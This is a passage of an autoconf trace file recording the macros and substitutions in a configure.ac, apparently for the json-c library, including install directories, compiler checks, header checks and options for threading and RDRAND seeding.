m4trace:configure.ac:4: -1- AC_SUBST_TRACE([sharedstatedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^sharedstatedir$])
m4trace:configure.ac:4: -1- AC_SUBST([localstatedir], ['${prefix}/var'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([localstatedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^localstatedir$])
m4trace:configure.ac:4: -1- AC_SUBST([runstatedir], ['${localstatedir}/run'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([runstatedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^runstatedir$])
m4trace:configure.ac:4: -1- AC_SUBST([includedir], ['${prefix}/include'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([includedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^includedir$])
m4trace:configure.ac:4: -1- AC_SUBST([oldincludedir], ['/usr/include'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([oldincludedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^oldincludedir$])
m4trace:configure.ac:4: -1- AC_SUBST([docdir], [m4_ifset([AC_PACKAGE_TARNAME],
['${datarootdir}/doc/${PACKAGE_TARNAME}'],
['${datarootdir}/doc/${PACKAGE}'])])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([docdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^docdir$])
m4trace:configure.ac:4: -1- AC_SUBST([infodir], ['${datarootdir}/info'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([infodir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^infodir$])
m4trace:configure.ac:4: -1- AC_SUBST([htmldir], ['${docdir}'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([htmldir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^htmldir$])
m4trace:configure.ac:4: -1- AC_SUBST([dvidir], ['${docdir}'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([dvidir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^dvidir$])
m4trace:configure.ac:4: -1- AC_SUBST([pdfdir], ['${docdir}'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([pdfdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^pdfdir$])
m4trace:configure.ac:4: -1- AC_SUBST([psdir], ['${docdir}'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([psdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^psdir$])
m4trace:configure.ac:4: -1- AC_SUBST([libdir], ['${exec_prefix}/lib'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([libdir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^libdir$])
m4trace:configure.ac:4: -1- AC_SUBST([localedir], ['${datarootdir}/locale'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([localedir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^localedir$])
m4trace:configure.ac:4: -1- AC_SUBST([mandir], ['${datarootdir}/man'])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([mandir])
m4trace:configure.ac:4: -1- m4_pattern_allow([^mandir$])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_NAME])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_NAME$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_NAME], [/* Define to the full name of this package. */
@%:@undef PACKAGE_NAME])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_TARNAME])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_TARNAME$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_TARNAME], [/* Define to the one symbol short name of this package. */
@%:@undef PACKAGE_TARNAME])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_VERSION])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_VERSION$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_VERSION], [/* Define to the version of this package. */
@%:@undef PACKAGE_VERSION])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_STRING])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_STRING$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_STRING], [/* Define to the full name and version of this package. */
@%:@undef PACKAGE_STRING])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_BUGREPORT])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_BUGREPORT$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_BUGREPORT], [/* Define to the address where bug reports for this package should be sent. */
@%:@undef PACKAGE_BUGREPORT])
m4trace:configure.ac:4: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_URL])
m4trace:configure.ac:4: -1- m4_pattern_allow([^PACKAGE_URL$])
m4trace:configure.ac:4: -1- AH_OUTPUT([PACKAGE_URL], [/* Define to the home page for this package. */
@%:@undef PACKAGE_URL])
m4trace:configure.ac:4: -1- AC_SUBST([DEFS])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([DEFS])
m4trace:configure.ac:4: -1- m4_pattern_allow([^DEFS$])
m4trace:configure.ac:4: -1- AC_SUBST([ECHO_C])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([ECHO_C])
m4trace:configure.ac:4: -1- m4_pattern_allow([^ECHO_C$])
m4trace:configure.ac:4: -1- AC_SUBST([ECHO_N])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([ECHO_N])
m4trace:configure.ac:4: -1- m4_pattern_allow([^ECHO_N$])
m4trace:configure.ac:4: -1- AC_SUBST([ECHO_T])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([ECHO_T])
m4trace:configure.ac:4: -1- m4_pattern_allow([^ECHO_T$])
m4trace:configure.ac:4: -1- AC_SUBST([LIBS])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([LIBS])
m4trace:configure.ac:4: -1- m4_pattern_allow([^LIBS$])
m4trace:configure.ac:4: -1- AC_SUBST([build_alias])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([build_alias])
m4trace:configure.ac:4: -1- m4_pattern_allow([^build_alias$])
m4trace:configure.ac:4: -1- AC_SUBST([host_alias])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([host_alias])
m4trace:configure.ac:4: -1- m4_pattern_allow([^host_alias$])
m4trace:configure.ac:4: -1- AC_SUBST([target_alias])
m4trace:configure.ac:4: -1- AC_SUBST_TRACE([target_alias])
m4trace:configure.ac:4: -1- m4_pattern_allow([^target_alias$])
m4trace:configure.ac:6: -1- AM_INIT_AUTOMAKE
m4trace:configure.ac:6: -1- m4_pattern_allow([^AM_[A-Z]+FLAGS$])
m4trace:configure.ac:6: -1- AM_AUTOMAKE_VERSION([1.15.1])
m4trace:configure.ac:6: -1- AC_REQUIRE_AUX_FILE([install-sh])
m4trace:configure.ac:6: -1- AC_SUBST([INSTALL_PROGRAM])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([INSTALL_PROGRAM])
m4trace:configure.ac:6: -1- m4_pattern_allow([^INSTALL_PROGRAM$])
m4trace:configure.ac:6: -1- AC_SUBST([INSTALL_SCRIPT])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([INSTALL_SCRIPT])
m4trace:configure.ac:6: -1- m4_pattern_allow([^INSTALL_SCRIPT$])
m4trace:configure.ac:6: -1- AC_SUBST([INSTALL_DATA])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([INSTALL_DATA])
m4trace:configure.ac:6: -1- m4_pattern_allow([^INSTALL_DATA$])
m4trace:configure.ac:6: -1- AC_SUBST([am__isrc], [' -I$(srcdir)'])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([am__isrc])
m4trace:configure.ac:6: -1- m4_pattern_allow([^am__isrc$])
m4trace:configure.ac:6: -1- _AM_SUBST_NOTMAKE([am__isrc])
m4trace:configure.ac:6: -1- AC_SUBST([CYGPATH_W])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([CYGPATH_W])
m4trace:configure.ac:6: -1- m4_pattern_allow([^CYGPATH_W$])
m4trace:configure.ac:6: -1- AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([PACKAGE])
m4trace:configure.ac:6: -1- m4_pattern_allow([^PACKAGE$])
m4trace:configure.ac:6: -1- AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([VERSION])
m4trace:configure.ac:6: -1- m4_pattern_allow([^VERSION$])
m4trace:configure.ac:6: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE])
m4trace:configure.ac:6: -1- m4_pattern_allow([^PACKAGE$])
m4trace:configure.ac:6: -1- AH_OUTPUT([PACKAGE], [/* Name of package */
@%:@undef PACKAGE])
m4trace:configure.ac:6: -1- AC_DEFINE_TRACE_LITERAL([VERSION])
m4trace:configure.ac:6: -1- m4_pattern_allow([^VERSION$])
m4trace:configure.ac:6: -1- AH_OUTPUT([VERSION], [/* Version number of package */
@%:@undef VERSION])
m4trace:configure.ac:6: -1- AC_REQUIRE_AUX_FILE([missing])
m4trace:configure.ac:6: -1- AC_SUBST([ACLOCAL])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([ACLOCAL])
m4trace:configure.ac:6: -1- m4_pattern_allow([^ACLOCAL$])
m4trace:configure.ac:6: -1- AC_SUBST([AUTOCONF])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AUTOCONF])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AUTOCONF$])
m4trace:configure.ac:6: -1- AC_SUBST([AUTOMAKE])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AUTOMAKE])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AUTOMAKE$])
m4trace:configure.ac:6: -1- AC_SUBST([AUTOHEADER])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AUTOHEADER])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AUTOHEADER$])
m4trace:configure.ac:6: -1- AC_SUBST([MAKEINFO])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([MAKEINFO])
m4trace:configure.ac:6: -1- m4_pattern_allow([^MAKEINFO$])
m4trace:configure.ac:6: -1- AC_SUBST([install_sh])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([install_sh])
m4trace:configure.ac:6: -1- m4_pattern_allow([^install_sh$])
m4trace:configure.ac:6: -1- AC_SUBST([STRIP])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([STRIP])
m4trace:configure.ac:6: -1- m4_pattern_allow([^STRIP$])
m4trace:configure.ac:6: -1- AC_SUBST([INSTALL_STRIP_PROGRAM])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([INSTALL_STRIP_PROGRAM])
m4trace:configure.ac:6: -1- m4_pattern_allow([^INSTALL_STRIP_PROGRAM$])
m4trace:configure.ac:6: -1- AC_REQUIRE_AUX_FILE([install-sh])
m4trace:configure.ac:6: -1- AC_SUBST([MKDIR_P])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([MKDIR_P])
m4trace:configure.ac:6: -1- m4_pattern_allow([^MKDIR_P$])
m4trace:configure.ac:6: -1- AC_SUBST([mkdir_p], ['$(MKDIR_P)'])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([mkdir_p])
m4trace:configure.ac:6: -1- m4_pattern_allow([^mkdir_p$])
m4trace:configure.ac:6: -1- AC_SUBST([AWK])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AWK])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AWK$])
m4trace:configure.ac:6: -1- AC_SUBST([SET_MAKE])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([SET_MAKE])
m4trace:configure.ac:6: -1- m4_pattern_allow([^SET_MAKE$])
m4trace:configure.ac:6: -1- AC_SUBST([am__leading_dot])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([am__leading_dot])
m4trace:configure.ac:6: -1- m4_pattern_allow([^am__leading_dot$])
m4trace:configure.ac:6: -1- AC_SUBST([AMTAR], ['$${TAR-tar}'])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AMTAR])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AMTAR$])
m4trace:configure.ac:6: -1- AC_SUBST([am__tar])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([am__tar])
m4trace:configure.ac:6: -1- m4_pattern_allow([^am__tar$])
m4trace:configure.ac:6: -1- AC_SUBST([am__untar])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([am__untar])
m4trace:configure.ac:6: -1- m4_pattern_allow([^am__untar$])
m4trace:configure.ac:6: -1- AM_SILENT_RULES
m4trace:configure.ac:6: -1- AC_SUBST([AM_V])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AM_V])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AM_V$])
m4trace:configure.ac:6: -1- _AM_SUBST_NOTMAKE([AM_V])
m4trace:configure.ac:6: -1- AC_SUBST([AM_DEFAULT_V])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AM_DEFAULT_V])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AM_DEFAULT_V$])
m4trace:configure.ac:6: -1- _AM_SUBST_NOTMAKE([AM_DEFAULT_V])
m4trace:configure.ac:6: -1- AC_SUBST([AM_DEFAULT_VERBOSITY])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AM_DEFAULT_VERBOSITY])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AM_DEFAULT_VERBOSITY$])
m4trace:configure.ac:6: -1- AC_SUBST([AM_BACKSLASH])
m4trace:configure.ac:6: -1- AC_SUBST_TRACE([AM_BACKSLASH])
m4trace:configure.ac:6: -1- m4_pattern_allow([^AM_BACKSLASH$])
m4trace:configure.ac:6: -1- _AM_SUBST_NOTMAKE([AM_BACKSLASH])
m4trace:configure.ac:10: -1- AC_SUBST([SET_MAKE])
m4trace:configure.ac:10: -1- AC_SUBST_TRACE([SET_MAKE])
m4trace:configure.ac:10: -1- m4_pattern_allow([^SET_MAKE$])
m4trace:configure.ac:12: -1- AC_CANONICAL_HOST
m4trace:configure.ac:12: -1- AC_CANONICAL_BUILD
m4trace:configure.ac:12: -1- AC_REQUIRE_AUX_FILE([config.sub])
m4trace:configure.ac:12: -1- AC_REQUIRE_AUX_FILE([config.guess])
m4trace:configure.ac:12: -1- AC_SUBST([build], [$ac_cv_build])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([build])
m4trace:configure.ac:12: -1- m4_pattern_allow([^build$])
m4trace:configure.ac:12: -1- AC_SUBST([build_cpu], [$[1]])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([build_cpu])
m4trace:configure.ac:12: -1- m4_pattern_allow([^build_cpu$])
m4trace:configure.ac:12: -1- AC_SUBST([build_vendor], [$[2]])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([build_vendor])
m4trace:configure.ac:12: -1- m4_pattern_allow([^build_vendor$])
m4trace:configure.ac:12: -1- AC_SUBST([build_os])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([build_os])
m4trace:configure.ac:12: -1- m4_pattern_allow([^build_os$])
m4trace:configure.ac:12: -1- AC_SUBST([host], [$ac_cv_host])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([host])
m4trace:configure.ac:12: -1- m4_pattern_allow([^host$])
m4trace:configure.ac:12: -1- AC_SUBST([host_cpu], [$[1]])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([host_cpu])
m4trace:configure.ac:12: -1- m4_pattern_allow([^host_cpu$])
m4trace:configure.ac:12: -1- AC_SUBST([host_vendor], [$[2]])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([host_vendor])
m4trace:configure.ac:12: -1- m4_pattern_allow([^host_vendor$])
m4trace:configure.ac:12: -1- AC_SUBST([host_os])
m4trace:configure.ac:12: -1- AC_SUBST_TRACE([host_os])
m4trace:configure.ac:12: -1- m4_pattern_allow([^host_os$])
m4trace:configure.ac:14: -1- AC_DEFINE_TRACE_LITERAL([ENABLE_THREADING])
m4trace:configure.ac:14: -1- m4_pattern_allow([^ENABLE_THREADING$])
m4trace:configure.ac:14: -1- AH_OUTPUT([ENABLE_THREADING], [/* Enable partial threading support */
@%:@undef ENABLE_THREADING])
m4trace:configure.ac:28: -1- AC_DEFINE_TRACE_LITERAL([ENABLE_RDRAND])
m4trace:configure.ac:28: -1- m4_pattern_allow([^ENABLE_RDRAND$])
m4trace:configure.ac:28: -1- AH_OUTPUT([ENABLE_RDRAND], [/* Enable RDRAND Hardware RNG Hash Seed */
@%:@undef ENABLE_RDRAND])
m4trace:configure.ac:43: -1- AM_SILENT_RULES([yes])
m4trace:configure.ac:43: -1- AC_SUBST([AM_V])
m4trace:configure.ac:43: -1- AC_SUBST_TRACE([AM_V])
m4trace:configure.ac:43: -1- m4_pattern_allow([^AM_V$])
m4trace:configure.ac:43: -1- _AM_SUBST_NOTMAKE([AM_V])
m4trace:configure.ac:43: -1- AC_SUBST([AM_DEFAULT_V])
m4trace:configure.ac:43: -1- AC_SUBST_TRACE([AM_DEFAULT_V])
m4trace:configure.ac:43: -1- m4_pattern_allow([^AM_DEFAULT_V$])
m4trace:configure.ac:43: -1- _AM_SUBST_NOTMAKE([AM_DEFAULT_V])
m4trace:configure.ac:43: -1- AC_SUBST([AM_DEFAULT_VERBOSITY])
m4trace:configure.ac:43: -1- AC_SUBST_TRACE([AM_DEFAULT_VERBOSITY])
m4trace:configure.ac:43: -1- m4_pattern_allow([^AM_DEFAULT_VERBOSITY$])
m4trace:configure.ac:43: -1- AC_SUBST([AM_BACKSLASH])
m4trace:configure.ac:43: -1- AC_SUBST_TRACE([AM_BACKSLASH])
m4trace:configure.ac:43: -1- m4_pattern_allow([^AM_BACKSLASH$])
m4trace:configure.ac:43: -1- _AM_SUBST_NOTMAKE([AM_BACKSLASH])
m4trace:configure.ac:50: -1- AM_PROG_CC_C_O
m4trace:configure.ac:50: -1- AC_SUBST([CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CC$])
m4trace:configure.ac:50: -1- AC_SUBST([CFLAGS])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CFLAGS])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CFLAGS$])
m4trace:configure.ac:50: -1- AC_SUBST([LDFLAGS])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([LDFLAGS])
m4trace:configure.ac:50: -1- m4_pattern_allow([^LDFLAGS$])
m4trace:configure.ac:50: -1- AC_SUBST([LIBS])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([LIBS])
m4trace:configure.ac:50: -1- m4_pattern_allow([^LIBS$])
m4trace:configure.ac:50: -1- AC_SUBST([CPPFLAGS])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CPPFLAGS])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CPPFLAGS$])
m4trace:configure.ac:50: -1- AC_SUBST([CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CC$])
m4trace:configure.ac:50: -1- AC_SUBST([CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CC$])
m4trace:configure.ac:50: -1- AC_SUBST([CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CC$])
m4trace:configure.ac:50: -1- AC_SUBST([CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CC$])
m4trace:configure.ac:50: -1- AC_SUBST([ac_ct_CC])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([ac_ct_CC])
m4trace:configure.ac:50: -1- m4_pattern_allow([^ac_ct_CC$])
m4trace:configure.ac:50: -1- AC_SUBST([EXEEXT], [$ac_cv_exeext])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([EXEEXT])
m4trace:configure.ac:50: -1- m4_pattern_allow([^EXEEXT$])
m4trace:configure.ac:50: -1- AC_SUBST([OBJEXT], [$ac_cv_objext])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([OBJEXT])
m4trace:configure.ac:50: -1- m4_pattern_allow([^OBJEXT$])
m4trace:configure.ac:50: -1- AC_REQUIRE_AUX_FILE([compile])
m4trace:configure.ac:50: -1- AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([DEPDIR])
m4trace:configure.ac:50: -1- m4_pattern_allow([^DEPDIR$])
m4trace:configure.ac:50: -1- AC_SUBST([am__include])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([am__include])
m4trace:configure.ac:50: -1- m4_pattern_allow([^am__include$])
m4trace:configure.ac:50: -1- AC_SUBST([am__quote])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([am__quote])
m4trace:configure.ac:50: -1- m4_pattern_allow([^am__quote$])
m4trace:configure.ac:50: -1- AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
m4trace:configure.ac:50: -1- AC_SUBST([AMDEP_TRUE])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([AMDEP_TRUE])
m4trace:configure.ac:50: -1- m4_pattern_allow([^AMDEP_TRUE$])
m4trace:configure.ac:50: -1- AC_SUBST([AMDEP_FALSE])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([AMDEP_FALSE])
m4trace:configure.ac:50: -1- m4_pattern_allow([^AMDEP_FALSE$])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([AMDEP_TRUE])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([AMDEP_FALSE])
m4trace:configure.ac:50: -1- AC_SUBST([AMDEPBACKSLASH])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([AMDEPBACKSLASH])
m4trace:configure.ac:50: -1- m4_pattern_allow([^AMDEPBACKSLASH$])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])
m4trace:configure.ac:50: -1- AC_SUBST([am__nodep])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([am__nodep])
m4trace:configure.ac:50: -1- m4_pattern_allow([^am__nodep$])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([am__nodep])
m4trace:configure.ac:50: -1- AC_SUBST([CCDEPMODE], [depmode=$am_cv_CC_dependencies_compiler_type])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([CCDEPMODE])
m4trace:configure.ac:50: -1- m4_pattern_allow([^CCDEPMODE$])
m4trace:configure.ac:50: -1- AM_CONDITIONAL([am__fastdepCC], [
test "x$enable_dependency_tracking" != xno \
&& test "$am_cv_CC_dependencies_compiler_type" = gcc3])
m4trace:configure.ac:50: -1- AC_SUBST([am__fastdepCC_TRUE])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([am__fastdepCC_TRUE])
m4trace:configure.ac:50: -1- m4_pattern_allow([^am__fastdepCC_TRUE$])
m4trace:configure.ac:50: -1- AC_SUBST([am__fastdepCC_FALSE])
m4trace:configure.ac:50: -1- AC_SUBST_TRACE([am__fastdepCC_FALSE])
m4trace:configure.ac:50: -1- m4_pattern_allow([^am__fastdepCC_FALSE$])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_TRUE])
m4trace:configure.ac:50: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_FALSE])
m4trace:configure.ac:52: -1- AC_CONFIG_HEADERS([config.h])
m4trace:configure.ac:53: -1- AC_CONFIG_HEADERS([json_config.h])
m4trace:configure.ac:54: -1- AC_SUBST([CPP])
m4trace:configure.ac:54: -1- AC_SUBST_TRACE([CPP])
m4trace:configure.ac:54: -1- m4_pattern_allow([^CPP$])
m4trace:configure.ac:54: -1- AC_SUBST([CPPFLAGS])
m4trace:configure.ac:54: -1- AC_SUBST_TRACE([CPPFLAGS])
m4trace:configure.ac:54: -1- m4_pattern_allow([^CPPFLAGS$])
m4trace:configure.ac:54: -1- AC_SUBST([CPP])
m4trace:configure.ac:54: -1- AC_SUBST_TRACE([CPP])
m4trace:configure.ac:54: -1- m4_pattern_allow([^CPP$])
m4trace:configure.ac:54: -1- AC_SUBST([GREP])
m4trace:configure.ac:54: -1- AC_SUBST_TRACE([GREP])
m4trace:configure.ac:54: -1- m4_pattern_allow([^GREP$])
m4trace:configure.ac:54: -1- AC_SUBST([EGREP])
m4trace:configure.ac:54: -1- AC_SUBST_TRACE([EGREP])
m4trace:configure.ac:54: -1- m4_pattern_allow([^EGREP$])
m4trace:configure.ac:54: -1- AC_DEFINE_TRACE_LITERAL([STDC_HEADERS])
m4trace:configure.ac:54: -1- m4_pattern_allow([^STDC_HEADERS$])
m4trace:configure.ac:54: -1- AH_OUTPUT([STDC_HEADERS], [/* Define to 1 if you have the ANSI C header files. */
@%:@undef STDC_HEADERS])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_FCNTL_H], [/* Define to 1 if you have the <fcntl.h> header file. */
@%:@undef HAVE_FCNTL_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_LIMITS_H], [/* Define to 1 if you have the <limits.h> header file. */
@%:@undef HAVE_LIMITS_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STRINGS_H], [/* Define to 1 if you have the <strings.h> header file. */
@%:@undef HAVE_STRINGS_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_SYSLOG_H], [/* Define to 1 if you have the <syslog.h> header file. */
@%:@undef HAVE_SYSLOG_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_UNISTD_H], [/* Define to 1 if you have the <unistd.h> header file. */
@%:@undef HAVE_UNISTD_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_SYS_CDEFS_H], [/* Define to 1 if you have the <sys/cdefs.h> header file. */
@%:@undef HAVE_SYS_CDEFS_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_SYS_PARAM_H], [/* Define to 1 if you have the <sys/param.h> header file. */
@%:@undef HAVE_SYS_PARAM_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STDARG_H], [/* Define to 1 if you have the <stdarg.h> header file. */
@%:@undef HAVE_STDARG_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_LOCALE_H], [/* Define to 1 if you have the <locale.h> header file. */
@%:@undef HAVE_LOCALE_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_XLOCALE_H], [/* Define to 1 if you have the <xlocale.h> header file. */
@%:@undef HAVE_XLOCALE_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_ENDIAN_H], [/* Define to 1 if you have the <endian.h> header file. */
@%:@undef HAVE_ENDIAN_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_SYS_TYPES_H], [/* Define to 1 if you have the <sys/types.h> header file. */
@%:@undef HAVE_SYS_TYPES_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_SYS_STAT_H], [/* Define to 1 if you have the <sys/stat.h> header file. */
@%:@undef HAVE_SYS_STAT_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STDLIB_H], [/* Define to 1 if you have the <stdlib.h> header file. */
@%:@undef HAVE_STDLIB_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STRING_H], [/* Define to 1 if you have the <string.h> header file. */
@%:@undef HAVE_STRING_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_MEMORY_H], [/* Define to 1 if you have the <memory.h> header file. */
@%:@undef HAVE_MEMORY_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STRINGS_H], [/* Define to 1 if you have the <strings.h> header file. */
@%:@undef HAVE_STRINGS_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_INTTYPES_H], [/* Define to 1 if you have the <inttypes.h> header file. */
@%:@undef HAVE_INTTYPES_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_STDINT_H], [/* Define to 1 if you have the <stdint.h> header file. */
@%:@undef HAVE_STDINT_H])
m4trace:configure.ac:55: -1- AH_OUTPUT([HAVE_UNISTD_H], [/* Define to 1 if you have the <unistd.h> header file. */
@%:@undef HAVE_UNISTD_H])
m4trace:configure.ac:56: -1- AC_DEFINE_TRACE_LITERAL([JSON_C_HAVE_INTTYPES_H])
m4trace:configure.ac:56: -1- m4_pattern_allow([^JSON_C_HAVE_INTTYPES_H$])
m4trace:configure.ac:56: -1- AH_OUTPUT([JSON_C_HAVE_INTTYPES_H], [/* Public define for json_inttypes.h */
@%:@undef JSON_C_HAVE_INTTYPES_H])
m4trace:configure.ac:59: -1- AC_DEFINE_TRACE_LITERAL([const])
m4trace:configure.ac:59: -1- m4_pattern_allow([^const$])
m4trace:configure.ac:59: -1- AH_OUTPUT([const], [/* Define to empty if `const\' does not conform to ANSI C. */
@%:@undef const])
m4trace:configure.ac:60: -1- AC_DEFINE_TRACE_LITERAL([size_t])
m4trace:configure.ac:60: -1- m4_pattern_allow([^size_t$])
m4trace:configure.ac:60: -1- AH_OUTPUT([size_t], [/* Define to `unsigned int\' if <sys/types.h> does not define. */
@%:@undef size_t])
m4trace:configure.ac:69: -1- AC_DEFINE_TRACE_LITERAL([HAVE___THREAD])
